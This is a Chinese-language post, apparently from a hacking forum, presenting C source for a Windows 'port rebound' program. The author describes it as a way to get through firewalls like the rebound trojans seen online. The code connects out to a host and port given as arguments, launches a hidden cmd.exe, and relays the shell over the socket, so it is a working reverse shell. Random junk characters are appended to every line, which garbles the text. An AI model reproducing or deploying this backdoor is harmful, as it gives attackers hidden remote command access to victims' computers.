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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z9FfU  
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/* ============================== =R*qP;#  
Rebound port in Windows NT 79`AM X[b  
By wind,2006/7 \b%kf99  
===============================*/ ^6_e=jIN  
#include UfN&v >8f  
#include KMI_zhyB  
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#pragma comment(lib,"wsock32.lib") ^*P%=>zO  
LaQ-=;(`  
void OutputShell(); yKYTi3_(  
SOCKET sClient; Hemq +]6^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5R(/Uiv3F  
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void main(int argc,char **argv) sZx/Ee   
{ At-U2a#J{  
WSADATA stWsaData; $ s9Vrw0Z  
int nRet; {r@Ty*W} L  
SOCKADDR_IN stSaiClient,stSaiServer; C(00<~JC  
S30?VG9U0f  
if(argc != 3) kS bu]AB  
{ emCM\|NQg&  
printf("Useage:\n\rRebound DestIP DestPort\n"); ek#O3Oz  
return; S H!  
} 6Yx4lWBR?  
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WSAStartup(MAKEWORD(2,2),&stWsaData); :2 *g~6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "?V0$-DR  
i_j[?.?X}  
stSaiClient.sin_family = AF_INET; ;kY(<{2  
stSaiClient.sin_port = htons(0); &*+'>UEe5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "rx-_uK*  
C?lcGt!H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mV3cp rRqv  
{ O8h%3&  
printf("Bind Socket Failed!\n"); V5UF3'3;}  
return; ["h5!vj  
} ogyTO|V=  
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stSaiServer.sin_family = AF_INET; i\,-oO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3j\1S1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wk)OkIFR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3B84^>U<  
{ U4d:] z  
printf("Connect Error!"); IZpP[hov  
return; vEJWFoeEFm  
} vX/T3WV  
OutputShell();  C uB`CI  
} #ZB~ x6i6  
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void OutputShell() wOU_*uY@6'  
{ ML|FQ  
char szBuff[1024]; 02 c':a=7  
SECURITY_ATTRIBUTES stSecurityAttributes; RZXjgddL  
OSVERSIONINFO stOsversionInfo; \G*0"%!U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =ALTUV3/q  
STARTUPINFO stStartupInfo; bbE!qk;hEP  
char *szShell; U~:-roQ(\  
PROCESS_INFORMATION stProcessInformation; 17%Mw@+  
unsigned long lBytesRead; P GqQ@6B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5>[u `  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'uBu6G  
stSecurityAttributes.lpSecurityDescriptor = 0; 4y|BOVl  
stSecurityAttributes.bInheritHandle = TRUE; 'Gj3:-xqL  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]s<[D$ <,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OCe!.`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )Y"+,$$>Y`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EV]1ml k$  
stStartupInfo.wShowWindow = SW_HIDE; hgPa6Kd  
stStartupInfo.hStdInput = hReadPipe; fD[*_^;h)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5IE#\FITO|  
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GetVersionEx(&stOsversionInfo); ZOh`(})hy  
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switch(stOsversionInfo.dwPlatformId) EJMM9(DQ7  
{ 0XE4<U   
case 1: eA2@Nkw~)  
szShell = "command.com"; MTuV^0%jD  
break; NPy&OcRl  
default: rC5 p-B%  
szShell = "cmd.exe"; ,E S0NA  
break; C5o#i*|  
} Y]'Z7<U}*E  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <^#,_o,!  
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send(sClient,szMsg,77,0); ag [ZW  
while(1) akp-zn&je  
{ =$'6(aDH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 01t1Z}!y  
if(lBytesRead) d,k!qjf=r  
{ T(id^ w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E(>=rD/+  
send(sClient,szBuff,lBytesRead,0); P3x8UR=fS  
} gb[5&> (#  
else NcBIg:V\c  
{ f%][}NN)Xr  
lBytesRead=recv(sClient,szBuff,1024,0); 3l rT3a3vV  
if(lBytesRead<=0) break; 11 Q1AN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ag-(5:  
} 8\&X2[oAD  
} XO.jl"xu  
slCx w$  
return; }Y12  
}
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